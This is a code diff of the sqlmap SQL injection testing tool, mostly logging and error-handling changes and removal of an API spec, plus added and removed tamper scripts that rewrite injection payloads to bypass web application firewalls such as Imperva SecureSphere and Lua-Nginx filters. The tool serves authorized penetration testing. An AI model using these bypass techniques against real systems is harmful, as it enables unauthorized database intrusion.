-                except IOError, ex:
-                    errMsg = "there has been a file opening/writing error "
-                    errMsg += "for filename '%s' ('%s')" % (filename, getSafeExString(ex))
-                    raise SqlmapSystemException(errMsg)
+            if os.path.exists(sysIgnoreIcmp):
+                fp = open(sysIgnoreIcmp, "wb")
+                fp.write("1")
+                fp.close()
             else:
                 errMsg = "you need to disable ICMP replies by your machine "
                 errMsg += "system-wide. For example run on Linux/Unix:\n"

plugins/generic/users.py

@@ -19,6 +19,7 @@ from lib.core.common import isNoneValue
 from lib.core.common import isNumPosStrValue
 from lib.core.common import isTechniqueAvailable
 from lib.core.common import parsePasswordHash
+from lib.core.common import randomStr
 from lib.core.common import readInput
 from lib.core.common import unArrayizeValue
 from lib.core.convert import hexencode
@@ -285,8 +286,6 @@ class Users:
                                 query = rootQuery.blind.query % (user, index, user)
                         elif Backend.isDbms(DBMS.INFORMIX):
                             query = rootQuery.blind.query % (user,)
-                        elif Backend.isDbms(DBMS.HSQLDB):
-                            query = rootQuery.blind.query % (index, user)
                         else:
                             query = rootQuery.blind.query % (user, index)
 

sqlmap.conf

@@ -43,16 +43,16 @@ sitemapUrl =
 # Force usage of given HTTP method (e.g. PUT).
 method = 
 
-# Data string to be sent through POST (e.g. "id=1").
+# Data string to be sent through POST.
 data = 
 
-# Character used for splitting parameter values (e.g. &).
+# Character used for splitting parameter values.
 paramDel = 
 
-# HTTP Cookie header value (e.g. "PHPSESSID=a8d127e..").
+# HTTP Cookie header value.
 cookie = 
 
-# Character used for splitting cookie values (e.g. ;).
+# Character used for splitting cookie values.
 cookieDel = 
 
 # File containing cookies in Netscape/wget format.
@@ -98,7 +98,7 @@ authCred =
 # Syntax: key_file
 authFile = 
 
-# Ignore (problematic) HTTP error code (e.g. 401).
+# Ignore HTTP error code (e.g. 401).
 # Valid: integer
 ignoreCode =
 
@@ -746,7 +746,7 @@ updateAll = False
 # Run host OS command(s) when SQL injection is found.
 alert =
 
-# Set predefined answers (e.g. "quit=N,follow=N").
+# Set question answers (e.g. "quit=N,follow=N").
 answers =
 
 # Beep on question and/or when SQL injection is found.
@@ -761,7 +761,7 @@ checkPayload = False
 # Valid: True or False
 cleanup = False
 
-# Check for missing (optional) sqlmap dependencies.
+# Check for missing (non-core) sqlmap dependencies.
 # Valid: True or False
 dependencies = False
 

sqlmap.py

@@ -69,11 +69,11 @@ except KeyboardInterrupt:
     errMsg = "user aborted"
 
     if "logger" in globals():
-        logger.critical(errMsg)
+        logger.error(errMsg)
         raise SystemExit
     else:
         import time
-        exit("\r[%s] [CRITICAL] %s" % (time.strftime("%X"), errMsg))
+        exit("\r[%s] [ERROR] %s" % (time.strftime("%X"), errMsg))
 
 def modulePath():
     """
@@ -141,7 +141,7 @@ def main():
 
         conf.showTime = True
         dataToStdout("[!] legal disclaimer: %s\n\n" % LEGAL_DISCLAIMER, forceOutput=True)
-        dataToStdout("[*] starting @ %s\n\n" % time.strftime("%X /%Y-%m-%d/"), forceOutput=True)
+        dataToStdout("[*] starting at %s\n\n" % time.strftime("%X"), forceOutput=True)
 
         init()
 
@@ -196,7 +196,7 @@ def main():
 
         errMsg = "user aborted"
         try:
-            logger.critical(errMsg)
+            logger.error(errMsg)
         except KeyboardInterrupt:
             pass
 
@@ -234,65 +234,60 @@ def main():
                 dataToStdout(excMsg)
                 raise SystemExit
 
-            elif any(_ in excMsg for _ in ("ImportError", "Can't find file for module")):
-                errMsg = "invalid runtime environment ('%s')" % excMsg.split("Error: ")[-1].strip()
-                logger.critical(errMsg)
-                raise SystemExit
-
             elif "MemoryError" in excMsg:
                 errMsg = "memory exhaustion detected"
-                logger.critical(errMsg)
+                logger.error(errMsg)
                 raise SystemExit
 
             elif any(_ in excMsg for _ in ("No space left", "Disk quota exceeded")):
                 errMsg = "no space left on output device"
-                logger.critical(errMsg)
+                logger.error(errMsg)
                 raise SystemExit
 
             elif all(_ in excMsg for _ in ("No such file", "_'", "self.get_prog_name()")):
                 errMsg = "corrupted installation detected ('%s'). " % excMsg.strip().split('\n')[-1]
                 errMsg += "You should retrieve the latest development version from official GitHub "
                 errMsg += "repository at '%s'" % GIT_PAGE
-                logger.critical(errMsg)
+                logger.error(errMsg)
                 raise SystemExit
 
             elif "Read-only file system" in excMsg:
                 errMsg = "output device is mounted as read-only"
-                logger.critical(errMsg)
+                logger.error(errMsg)
                 raise SystemExit
 
             elif "OperationalError: disk I/O error" in excMsg:
                 errMsg = "I/O error on output device"
-                logger.critical(errMsg)
+                logger.error(errMsg)
                 raise SystemExit
 
             elif "Violation of BIDI" in excMsg:
                 errMsg = "invalid URL (violation of Bidi IDNA rule - RFC 5893)"
-                logger.critical(errMsg)
+                logger.error(errMsg)
                 raise SystemExit
 
             elif "_mkstemp_inner" in excMsg:
                 errMsg = "there has been a problem while accessing temporary files"
-                logger.critical(errMsg)
+                logger.error(errMsg)
                 raise SystemExit
 
             elif all(_ in excMsg for _ in ("twophase", "sqlalchemy")):
                 errMsg = "please update the 'sqlalchemy' package (>= 1.1.11) "
                 errMsg += "(Reference: https://qiita.com/tkprof/items/7d7b2d00df9c5f16fffe)"
-                logger.critical(errMsg)
+                logger.error(errMsg)
                 raise SystemExit
 
             elif all(_ in excMsg for _ in ("scramble_caching_sha2", "TypeError")):
                 errMsg = "please downgrade the 'PyMySQL' package (=< 0.8.1) "
                 errMsg += "(Reference: https://github.com/PyMySQL/PyMySQL/issues/700)"
-                logger.critical(errMsg)
+                logger.error(errMsg)
                 raise SystemExit
 
             elif "must be pinned buffer, not bytearray" in excMsg:
                 errMsg = "error occurred at Python interpreter which "
                 errMsg += "is fixed in 2.7.x. Please update accordingly "
                 errMsg += "(Reference: https://bugs.python.org/issue8104)"
-                logger.critical(errMsg)
+                logger.error(errMsg)
                 raise SystemExit
 
             elif "can't start new thread" in excMsg:
@@ -300,26 +295,34 @@ def main():
                 errMsg += "Please make sure that you are not running too many processes"
                 if not IS_WIN:
                     errMsg += " (or increase the 'ulimit -u' value)"
-                logger.critical(errMsg)
+                logger.error(errMsg)
                 raise SystemExit
 
             elif "'DictObject' object has no attribute '" in excMsg and all(_ in errMsg for _ in ("(fingerprinted)", "(identified)")):
                 errMsg = "there has been a problem in enumeration. "
                 errMsg += "Because of a considerable chance of false-positive case "
                 errMsg += "you are advised to rerun with switch '--flush-session'"
-                logger.critical(errMsg)
+                logger.error(errMsg)
                 raise SystemExit
 
             elif all(_ in excMsg for _ in ("pymysql", "configparser")):
                 errMsg = "wrong initialization of pymsql detected (using Python3 dependencies)"
-                logger.critical(errMsg)
+                logger.error(errMsg)
                 raise SystemExit
 
             elif "bad marshal data (unknown type code)" in excMsg:
                 match = re.search(r"\s*(.+)\s+ValueError", excMsg)
                 errMsg = "one of your .pyc files are corrupted%s" % (" ('%s')" % match.group(1) if match else "")
                 errMsg += ". Please delete .pyc files on your system to fix the problem"
-                logger.critical(errMsg)
+                logger.error(errMsg)
+                raise SystemExit
+
+            elif "url = url.strip()" in excMsg:
+                dataToStdout(excMsg)
+                print
+                errMsg = "please contact '[email protected]' with details for this issue "
+                errMsg += "as he is trying to reproduce it for long time"
+                logger.error(errMsg)
                 raise SystemExit
 
             elif kb.get("dumpKeyboardInterrupt"):
@@ -357,7 +360,7 @@ def main():
         kb.threadContinue = False
 
         if conf.get("showTime"):
-            dataToStdout("\n[*] ending @ %s\n\n" % time.strftime("%X /%Y-%m-%d/"), forceOutput=True)
+            dataToStdout("\n[*] shutting down at %s\n\n" % time.strftime("%X"), forceOutput=True)
 
         kb.threadException = True
 
@@ -381,6 +384,12 @@ def main():
             with openFile(conf.harFile, "w+b") as f:
                 json.dump(conf.httpCollector.obtain(), fp=f, indent=4, separators=(',', ': '))
 
+        if cmdLineOptions.get("sqlmapShell"):
+            cmdLineOptions.clear()
+            conf.clear()
+            kb.clear()
+            main()
+
         if conf.get("api"):
             try:
                 conf.databaseCursor.disconnect()
@@ -395,13 +404,6 @@ def main():
             _ = time.time()
             while threading.activeCount() > 1 and (time.time() - _) > THREAD_FINALIZATION_TIMEOUT:
                 time.sleep(0.01)
-
-            if cmdLineOptions.get("sqlmapShell"):
-                cmdLineOptions.clear()
-                conf.clear()
-                kb.clear()
-                conf.disableBanner = True
-                main()
         except KeyboardInterrupt:
             pass
         finally:

swagger.yaml

@@ -1,460 +0,0 @@
-# Note: written with Swagger Editor (https://editor.swagger.io/)
-swagger: "2.0"
-info:
-  description: ""
-  version: "1.2"
-  title: "sqlmap API"
-  contact:
-    email: "[email protected]"
-  license:
-    name: "GPL 2.0"
-    url: "https://www.gnu.org/licenses/old-licenses/gpl-2.0.html"
-host: "0.0.0.0:8775"
-basePath: "/"
-tags:
-- name: "task"
-  description: "Task management functions"
-- name: "admin"
-  description: "Task administration functions"
-- name: "option"
-  description: "Task option handling functions"
-schemes:
-- "http"
-paths:
-  /task/new:
-    get:
-      tags:
-      - "task"
-      summary: "Create a new task"
-      description: ""
-      operationId: "taskNew"
-      produces:
-      - "application/json"
-      parameters: []
-      responses:
-        200:
-          description: "Task successfully created"
-          schema:
-            type: object
-            properties:
-              success:
-                type: boolean
-              taskid:
-                type: string
-                example: "7e605b5d5a892b74"
-  /task/{taskid}/delete:
-    get:
-      tags:
-      - "task"
-      summary: "Delete an existing task"
-      description: ""
-      operationId: "taskDelete"
-      produces:
-      - "application/json"
-      parameters:
-      - name: "taskid"
-        in: "path"
-        description: "ID of an existing task to delete"
-        required: true
-        type: "string"
-      responses:
-        200:
-          description: "Task successfully deleted"
-          schema:
-            type: object
-            properties:
-              success:
-                type: boolean
-                enum: [true]
-        404:
-          description: "Task ID not found"
-          schema:
-            type: object
-            properties:
-              success:
-                type: boolean
-                enum: [false]
-              message:
-                type: string
-                enum: ["Non-existing task ID"]
-  /admin/list:
-    get:
-      tags:
-      - "admin"
-      summary: "Pull task list (locally)"
-      description: "Note: Use in cases when connecting to server from same IP (e.g. `localhost`)"
-      operationId: "adminList"
-      produces:
-      - "application/json"
-      responses:
-        200:
-          description: "Task list successfully pulled"
-          schema:
-            type: object
-            properties:
-              success:
-                type: boolean
-                enum: [true]
-              tasks:
-                type: object
-                additionalProperties:
-                  type: string
-                example:
-                  16a7a898e8eaaf45: running
-                  644fc063408e4f12: not running
-                  8e2eb10770d913cd: not running
-                  d59d1c69bdc06933: not running
-              tasks_num:
-                type: integer
-                example: 4
-  /admin/{token}/list:
-    get:
-      tags:
-      - "admin"
-      summary: "Pull task list (remotely)"
-      description: "Note: Use in cases when connecting to server from different IP"
-      operationId: "adminListToken"
-      produces:
-      - "application/json"
-      parameters:
-      - name: "token"
-        in: "path"
-        description: "Secret token (Note: written to console during a server run - e.g. `2756d5b6e7d093ba49b5fd06a93aca7a`)"
-        required: true
-        type: "string"
-      responses:
-        200:
-          description: "Task list successfully pulled"
-          schema:
-            type: object
-            properties:
-              success:
-                type: boolean
-                enum: [true]
-              tasks:
-                type: object
-                additionalProperties:
-                  type: string
-                example:
-                  5c911efa476b55f4: not running
-                  5ee038e153ffc534: not running
-                  e58c7a4de6bf7f51: not running
-              tasks_num:
-                type: integer
-                example: 4
-  /admin/flush:
-    get:
-      tags:
-      - "admin"
-      summary: "Flush task pool (locally)"
-      description: "Note: Use in cases when connecting to server from same IP (e.g. `localhost`)"
-      operationId: "adminFlush"
-      produces:
-      - "application/json"
-      responses:
-        200:
-          description: "Task pool successfully flushed"
-          schema:
-            type: object
-            properties:
-              success:
-                type: boolean
-                enum: [true]
-  /admin/{token}/flush:
-    get:
-      tags:
-      - "admin"
-      summary: "Flush task pool (remotely)"
-      description: "Note: Use in cases when connecting to server from different IP"
-      operationId: "adminFlushToken"
-      produces:
-      - "application/json"
-      parameters:
-      - name: "token"
-        in: "path"
-        description: "Secret token (Note: written to console during a server run - e.g. `2756d5b6e7d093ba49b5fd06a93aca7a`)"
-        required: true
-        type: "string"
-      responses:
-        200:
-          description: "Task pool successfully flushed"
-          schema:
-            type: object
-            properties:
-              success:
-                type: boolean
-                enum: [true]
-  /option/{taskid}/list:
-    get:
-      tags:
-      - "option"
-      summary: "List task options"
-      description: ""
-      operationId: "optionList"
-      produces:
-      - "application/json"
-      parameters:
-      - name: "taskid"
-        in: "path"
-        description: "ID of an existing task to list it's options"
-        required: true
-        type: "string"
-      responses:
-        200:
-          description: "Task options successfully listed"
-          schema:
-            type: object
-            properties:
-              success:
-                type: boolean
-                enum: [true]
-              options:
-                type: object
-                additionalProperties:
-                  type: string
-                example:
-                  crawlDepth: null 
-                  osShell: false 
-                  getUsers: false 
-                  getPasswordHashes: false 
-                  excludeSysDbs: false 
-                  ignoreTimeouts: false 
-                  regData: null 
-                  fileDest: null 
-                  prefix: null 
-                  code: null 
-                  googlePage: 1 
-                  skip: null 
-                  query: null 
-                  randomAgent: false 
-                  osPwn: false 
-                  authType: null 
-                  safeUrl: null 
-                  requestFile: null 
-                  predictOutput: false 
-                  wizard: false 
-                  stopFail: false 
-                  forms: false 
-                  uChar: null 
-                  secondReq: null 
-                  taskid: d977b0e5f091370e 
-                  pivotColumn: null 
-                  dropSetCookie: false 
-                  smart: false 
-                  paramExclude: null 
-                  risk: 1 
-                  sqlFile: null 
-                  rParam: null 
-                  getCurrentUser: false 
-                  notString: null 
-                  getRoles: false 
-                  getPrivileges: false 
-                  testParameter: null 
-                  tbl: null 
-                  charset: null 
-                  trafficFile: null 
-                  osSmb: false 
-                  level: 1 
-                  dnsDomain: null 
-                  outputDir: null 
-                  encoding: null 
-                  skipWaf: false 
-                  timeout: 30 
-                  firstChar: null 
-                  torPort: null 
-                  getComments: false 
-                  binaryFields: null 
-                  checkTor: false 
-                  commonTables: false 
-                  direct: null 
-                  tmpPath: null 
-                  titles: false 
-                  getSchema: false 
-                  identifyWaf: false 
-                  paramDel: null 
-                  safeReqFile: null 
-                  regKey: null 
-                  murphyRate: null 
-                  limitStart: null 
-                  crawlExclude: null 
-                  flushSession: false 
-                  loadCookies: null 
-                  csvDel:  
-                  offline: false 
-                  method: null 
-                  tmpDir: null 
-                  fileWrite: null 
-                  disablePrecon: false 
-                  osBof: false 
-                  testSkip: null 
-                  invalidLogical: false 
-                  getCurrentDb: false 
-                  hexConvert: false 
-                  proxyFile: null 
-                  answers: null 
-                  host: null 
-                  dependencies: false 
-                  cookie: null 
-                  proxy: null 
-                  regType: null 
-                  optimize: false 
-                  limitStop: null 
-                  search: false 
-                  uFrom: null 
-                  noCast: false 
-                  testFilter: null 
-                  ignoreCode: null 
-                  eta: false 
-                  csrfToken: null 
-                  threads: 1 
-                  logFile: null 
-                  os: null 
-                  col: null 
-                  skipStatic: false 
-                  proxyCred: null 
-                  verbose: 1 
-                  isDba: false 
-                  updateAll: false 
-                  privEsc: false 
-                  forceDns: false 
-                  getAll: false 
-                  api: true 
-                  url: http://www.test.com/index.php?id=1 
-                  invalidBignum: false 
-                  regexp: null 
-                  getDbs: false 
-                  freshQueries: false 
-                  uCols: null 
-                  smokeTest: false 
-                  udfInject: false 
-                  invalidString: false 
-                  tor: false 
-                  forceSSL: false 
-                  beep: false 
-                  noEscape: false 
-                  configFile: null 
-                  scope: null 
-                  authFile: null 
-                  torType: SOCKS5 
-                  regVal: null 
-                  dummy: false 
-                  checkInternet: false 
-                  safePost: null 
-                  safeFreq: null 
-                  skipUrlEncode: false 
-                  referer: null 
-                  liveTest: false 
-                  retries: 3 
-                  extensiveFp: false 
-                  dumpTable: false 
-                  getColumns: false 
-                  batch: true 
-                  purge: false 
-                  headers: null 
-                  authCred: null 
-                  osCmd: null 
-                  suffix: null 
-                  dbmsCred: null 
-                  regDel: false 
-                  shLib: null 
-                  sitemapUrl: null 
-                  timeSec: 5 
-                  msfPath: null 
-                  dumpAll: false 
-                  fileRead: null 
-                  getHostname: false 
-                  sessionFile: null 
-                  disableColoring: true 
-                  getTables: false 
-                  listTampers: false 
-                  agent: null 
-                  webRoot: null 
-                  exclude: null 
-                  lastChar: null 
-                  string: null 
-                  dbms: null 
-                  dumpWhere: null 
-                  tamper: null 
-                  ignoreRedirects: false 
-                  hpp: false 
-                  runCase: null 
-                  delay: 0 
-                  evalCode: null 
-                  cleanup: false 
-                  csrfUrl: null 
-                  secondUrl: null 
-                  getBanner: true 
-                  profile: false 
-                  regRead: false 
-                  bulkFile: null 
-                  db: null 
-                  dumpFormat: CSV 
-                  alert: null 
-                  harFile: null 
-                  nullConnection: false 
-                  user: null 
-                  parseErrors: false 
-                  getCount: false 
-                  data: null 
-                  regAdd: false 
-                  ignoreProxy: false 
-                  database: /tmp/sqlmapipc-jGw6ZY 
-                  mobile: false 
-                  googleDork: null 
-                  saveConfig: null 
-                  sqlShell: false 
-                  tech: BEUSTQ 
-                  textOnly: false 
-                  cookieDel: null 
-                  commonColumns: false 
-                  keepAlive: false
-  /option/{taskid}/get:
-    post:
-      tags:
-      - "option"
-      summary: "Get task option value(s)"
-      description: ""
-      operationId: "optionGet"
-      consumes:
-      - "application/json"
-      produces:
-      - "application/json"
-      parameters:
-      - name: "taskid"
-        in: "path"
-        description: "ID of an existing task"
-        required: true
-        type: "string"
-      - in: body
-        name: options
-        description: ""
-        schema:
-          type: array
-          items:
-            type: string
-          example: ["url", "timeout"]
-      responses:
-        200:
-          description: "Task option value successfully retrieved"
-          schema:
-            type: object
-            properties:
-              success:
-                type: boolean
-              options:
-                type: array
-                items:
-                  type: object
-                  properties:
-                    name:
-                      type: string
-                    value:
-                      type: string
-            example:
-              - success: true
-                options:
-                  url: http://www.test.com/index.php?id=1
-                  timeout: 30
-externalDocs:
-  description: "Find out more about sqlmap API (REST-JSON)"
-  url: "https://github.com/sqlmapproject/sqlmap/wiki/Usage#api-rest-json"

tamper/luanginx.py

@@ -1,36 +0,0 @@
-#!/usr/bin/env python
-
-"""
-Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
-See the file 'LICENSE' for copying permission
-"""
-
-import string
-import random
-
-from lib.core.enums import HINT
-from lib.core.enums import PRIORITY
-from lib.core.settings import DEFAULT_GET_POST_DELIMITER
-
-__priority__ = PRIORITY.NORMAL
-
-def tamper(payload, **kwargs):
-    """
-    LUA-Nginx WAFs Bypass (e.g. Cloudflare)
-
-    Reference:
-        * https://opendatasecurity.io/cloudflare-vulnerability-allows-waf-be-disabled/
-
-    Notes:
-        * Lua-Nginx WAFs do not support processing of more than 100 parameters
-
-    >>> random.seed(0); hints={}; payload = tamper("1 AND 2>1", hints=hints); "%s&%s" % (hints[HINT.PREPEND], payload)
-    '0U=&Aq=&Fz=&Ws=&DK=&4F=&rU=&Mp=&48=&Y3=&tT=&3Q=&Dg=&AL=&47=&D1=&qX=&Ia=&Sy=&ZP=&aE=&1p=&u1=&lJ=&o7=&XB=&et=&F5=&gI=&RH=&YH=&7L=&KB=&Kx=&Js=&lL=&OD=&fU=&25=&03=&5H=&yR=&rY=&03=&K6=&JB=&O9=&4X=&fL=&EN=&0p=&Th=&nX=&uY=&gj=&Rc=&J4=&HQ=&bN=&LJ=&yw=&8c=&b7=&lh=&nX=&6b=&Ag=&qn=&Ov=&lF=&cg=&9m=&wT=&Z4=&kP=&7d=&P0=&vp=&LB=&kD=&zJ=&Ft=&wZ=&pI=&aT=&uc=&ro=&7v=&rw=&6N=&MS=&yz=&Oa=&lu=&oN=&x2=&Jz=&yR=&zP=&cB=&qj=&GE=&IU=&2E=&tC=&Y2=&Yl=&9N=&fS=&9y=&Qt=&nS=&aZ=&Gg=&hO=&2r=&8g=&0y=&fr=&CX=&1i=&GO=&v2=&rb=&cQ=&I6=&64=&cU=&RO=&S3=&Nx=&Hm=&Ka=&ju=&WS=&uM=&ck=&8r=&yI=&sD=&oc=&lG=&ey=&uz=&g4=&D0=&8v=&DR=&As=&T3=&5M=&x8=&Ne=&fU=&da=&yG=&BE=&KQ=&Aw=&9q=&WA=&wd=&1R=&3B=&Ph=&ym=&c6=&nj=&mx=&Hj=&98=&jz=&Q2=&E4=&tE=&EP=&mL=&nv=&73=&Yc=&jp=&W0=&KS=&Ye=&f1=&cn=&ca=&0u=&jO=&8F=&3F=&JQ=&XU=&9U=&4m=&HL=&ZD=&Xy=&K0=&XO=&al=&Fp=&e1=&6s=&zY=&dN=&hr=&Zd=&cz=&E1=&SP=&j9=&zL=&xc=&Dj=&cM=&Ng=&Iv=&xW=&E2=&LC=&Nu=&hQ=&MW=&h4=&X4=&2Q=&YG=&Wl=&WB=&UC=&We=&c5=&E3=&6P=&Jn=&fY=&3W=&RA=&sh=&AJ=&56=&zg=&VT=&bB=&Qb=&47=&Se=&ew=&bv=&a8=&Ye=&3m=&mP=&6h=&aw=&bL=&1l=&gv=&7i=&7w=&Ds=&67=&Nl=&9g=&Kj=&36=&Xt=&pU=&sA=&ci=&be=&eA=&IT=&iA=&Nf=&Bw=&6d=&zT=&tm=&sD=&6X=&rI=&QX=&By=&VA=&pC=&6i=&CN=&Dm=&aR=&Ma=&sV=&MH=&jR=&DQ=&Vo=&Vr=&9h=&2c=&pG=&Ky=&gp=&rU=&4K=&cX=&sv=&Gp=&5k=&zr=&GJ=&MG=&zN=&zW=&Ws=&xM=&jR=&xK=&iP=&vD=&zD=&Rt=&Od=&sU=&dM=&bD=&3a=&Ge=&1Q=&UP=&ac=&M9=&2R=&To=&Ur=&gC=&uk=&A3=&AB=&RG=&i4=&BW=&yY=&yn=&m6=&Kd=&yo=&fl=&dN=&kL=&LR=&Fr=&2v=&CN=&F7=&75=&5K=&ER=&nq=&ck=&aO=&iW=&Q8=&y5=&Cv=&g2=&Xu=&Cu=&bc=&wm=&Gl=&mP=&Tt=&1p=&vS=&c5=&eC=&Sc=&Y8=&Ch=&fg=&Vz=&4B=&eA=&UZ=&cl=&Eh=&25=&tA=&Ir=&Hm=&sB=&LH=&qo=&hW=&gT=&pr=&TO=&TF=&1h=&Oh=&Tw=&PR=&On=&Zo=&GP=&oM=&rk=&YI=&uK=&bi=&y8=&Fe=&VW=&WJ=&Rn=&TY=&Vv=&KM=&3g=&ZG=&wC=&an=&OE=&7D=&t0=&qL=&RY=&Wx=&dc=&T7=&vB=&SO=&qP=&sw=&HT=&jb=&Mb=&cn=&Oe=&d8=&A3=&nA=&wk=&u9=&Ux=&zq=&GT=&QC=&c5=&zy=&ai=&1F=&Tj=&u0=&Yp=&bY=&kW=&Qk=&e5=&LM=&Cj=&Lp=&XT=&b5=&cf=&sj=&ow=&Tz=&qE=&yt=&3I=&8V=&Jq=&QC=&Sz=&Eb=&Tc=&QK=&Wr=&Qm=&Gv=&8m=&Ju=&85=&KS=&Qv=&43=&uU=&aY=&J7=&wM=&uW=&L9=&ai=&ch=&56=&D6=&YW=&Ul=&1 AND 2>1'
-    """
-
-    hints = kwargs.get("hints", {})
-    delimiter = kwargs.get("delimiter", DEFAULT_GET_POST_DELIMITER)
-
-    hints[HINT.PREPEND] = delimiter.join("%s=" % "".join(random.sample(string.letters + string.digits, 2)) for _ in xrange(500))
-
-    return payload

tamper/nonrecursivereplacement.py

@@ -0,0 +1,40 @@
+#!/usr/bin/env python
+
+"""
+Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
+See the file 'LICENSE' for copying permission
+"""
+
+import random
+import re
+
+from lib.core.common import singleTimeWarnMessage
+from lib.core.enums import PRIORITY
+
+__priority__ = PRIORITY.NORMAL
+
+def tamper(payload, **kwargs):
+    """
+    Replaces predefined SQL keywords with representations suitable for replacement filters (e.g. SELECT -> SELSELECTECT)
+
+    Notes:
+        * Useful to bypass very weak custom filters
+
+    >>> random.seed(0)
+    >>> tamper('1 UNION SELECT 2--')
+    '1 UNIOUNIONN SELESELECTCT 2--'
+    """
+
+    keywords = ("UNION", "SELECT", "INSERT", "UPDATE", "FROM", "WHERE")
+    retVal = payload
+
+    warnMsg = "currently only couple of keywords are being processed %s. " % str(keywords)
+    warnMsg += "You can set it manually according to your needs"
+    singleTimeWarnMessage(warnMsg)
+
+    if payload:
+        for keyword in keywords:
+            _ = random.randint(1, len(keyword) - 1)
+            retVal = re.sub(r"(?i)\b%s\b" % keyword, "%s%s%s" % (keyword[:_], keyword, keyword[_:]), retVal)
+
+    return retVal

tamper/plus2concat.py

@@ -41,9 +41,6 @@ def tamper(payload, **kwargs):
     retVal = payload
 
     if payload:
-        prefix, suffix = '+' * len(re.search(r"\A(\+*)", payload).group(0)), '+' * len(re.search(r"(\+*)\Z", payload).group(0))
-        retVal = retVal.strip('+')
-
         while True:
             indexes = zeroDepthSearch(retVal, '+')
 
@@ -79,6 +76,4 @@ def tamper(payload, **kwargs):
                 else:
                     break
 
-        retVal = "%s%s%s" % (prefix, retVal, suffix)
-
     return retVal

tamper/plus2fnconcat.py

@@ -42,9 +42,6 @@ def tamper(payload, **kwargs):
     retVal = payload
 
     if payload:
-        prefix, suffix = '+' * len(re.search(r"\A(\+*)", payload).group(0)), '+' * len(re.search(r"(\+*)\Z", payload).group(0))
-        retVal = retVal.strip('+')
-
         while True:
             indexes = zeroDepthSearch(retVal, '+')
 
@@ -92,6 +89,4 @@ def tamper(payload, **kwargs):
                 else:
                     break
 
-        retVal = "%s%s%s" % (prefix, retVal, suffix)
-
     return retVal

tamper/randomcase.py

@@ -25,7 +25,6 @@ def tamper(payload, **kwargs):
         * MySQL 4, 5.0 and 5.5
         * Oracle 10g
         * PostgreSQL 8.3, 8.4, 9.0
-        * SQLite 3
 
     Notes:
         * Useful to bypass very weak and bespoke web application firewalls
@@ -44,7 +43,7 @@ def tamper(payload, **kwargs):
         for match in re.finditer(r"\b[A-Za-z_]+\b", retVal):
             word = match.group()
 
-            if word.upper() in kb.keywords or ("%s(" % word) in payload:
+            if word.upper() in kb.keywords:
                 while True:
                     _ = ""
 

tamper/securesphere.py

@@ -0,0 +1,26 @@
+#!/usr/bin/env python
+
+"""
+Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
+See the file 'LICENSE' for copying permission
+"""
+
+from lib.core.enums import PRIORITY
+
+__priority__ = PRIORITY.NORMAL
+
+def dependencies():
+    pass
+
+def tamper(payload, **kwargs):
+    """
+    Appends special crafted string for bypassing Imperva SecureSphere WAF
+
+    Reference:
+        * http://seclists.org/fulldisclosure/2011/May/163
+
+    >>> tamper('1 AND 1=1')
+    "1 AND 1=1 and '0having'='0having'"
+    """
+
+    return payload + " and '0having'='0having'" if payload else payload

tamper/symboliclogical.py

@@ -6,7 +6,6 @@ See the file 'LICENSE' for copying permission
 """
 
 import re
-import urllib
 
 from lib.core.enums import PRIORITY
 
@@ -26,6 +25,6 @@ def tamper(payload, **kwargs):
     retVal = payload
 
     if payload:
-        retVal = re.sub(r"(?i)\bAND\b", urllib.quote("&&"), re.sub(r"(?i)\bOR\b", urllib.quote("||"), payload))
+        retVal = re.sub(r"(?i)\bAND\b", "%26%26", re.sub(r"(?i)\bOR\b", "%7C%7C", payload))
 
     return retVal

tamper/unmagicquotes.py

@@ -25,7 +25,7 @@ def tamper(payload, **kwargs):
         * http://shiflett.org/blog/2006/jan/addslashes-versus-mysql-real-escape-string
 
     >>> tamper("1' AND 1=1")
-    '1%bf%27-- -'
+    '1%bf%27-- '
     """
 
     retVal = payload
@@ -46,7 +46,7 @@ def tamper(payload, **kwargs):
             _ = re.sub(r"(?i)\s*(AND|OR)[\s(]+([^\s]+)\s*(=|LIKE)\s*\2", "", retVal)
             if _ != retVal:
                 retVal = _
-                retVal += "-- -"
+                retVal += "-- "
             elif not any(_ in retVal for _ in ('#', '--', '/*')):
-                retVal += "-- -"
+                retVal += "-- "
     return retVal

tamper/xforwardedfor.py

@@ -14,10 +14,8 @@ def dependencies():
 
 def randomIP():
     numbers = []
-
     while not numbers or numbers[0] in (10, 172, 192):
         numbers = sample(xrange(1, 255), 4)
-
     return '.'.join(str(_) for _ in numbers)
 
 def tamper(payload, **kwargs):

thirdparty/ansistrm/ansistrm.py

@@ -181,10 +181,8 @@ class ColorizingStreamHandler(logging.StreamHandler):
 
                     if level != "PAYLOAD":
                         if any(_ in message for _ in ("parsed DBMS error message",)):
-                            match = re.search(r": '(.+)'", message)
-                            if match:
-                                string = match.group(1)
-                                message = message.replace("'%s'" % string, "'%s'" % ''.join((self.csi, str(self.color_map["white"] + 30), 'm', string, self._reset(message))), 1)
+                            string = re.search(r": '(.+)'", message).group(1)
+                            message = message.replace("'%s'" % string, "'%s'" % ''.join((self.csi, str(self.color_map["white"] + 30), 'm', string, self._reset(message))), 1)
                         else:
                             for match in re.finditer(r"[^\w]'([^']+)'", message):  # single-quoted
                                 string = match.group(1)

thirdparty/termcolor/termcolor.py

@@ -79,8 +79,6 @@ COLORS = dict(
             ))
         )
 
-COLORS.update(dict(("light%s" % color, COLORS[color] + 60) for color in COLORS))
-
 
 RESET = '\033[0m'
 

txt/checksum.md5

@@ -23,44 +23,44 @@ b3e60ea4e18a65c48515d04aab28ff68  extra/sqlharvest/sqlharvest.py
 1e5532ede194ac9c083891c2f02bca93  extra/wafdetectify/__init__.py
 c1bccc94522d3425a372dcd57f78418e  extra/wafdetectify/wafdetectify.py
 3459c562a6abb9b4bdcc36925f751f3e  lib/controller/action.py
-71334197c7ed28167cd66c17b2c21844  lib/controller/checks.py
-95cde6dc7efe2581a5936f0d4635cb3b  lib/controller/controller.py
-988b548f6578adf9cec17afdeee8291c  lib/controller/handler.py
+61b66a7c30eb43c6b99ad57e4a8b5b22  lib/controller/checks.py
+c414cecdb0472c92cf50ed5b01e4438c  lib/controller/controller.py
+c7443613a0a2505b1faec931cee2a6ef  lib/controller/handler.py
 1e5532ede194ac9c083891c2f02bca93  lib/controller/__init__.py
-cb865cf6eff60118bc97a0f106af5e4d  lib/core/agent.py
+8eb0a5dbd79bd58fedac4c0cc344246b  lib/core/agent.py
 c347f085bd561adfa26d3a9512e5f3b9  lib/core/bigarray.py
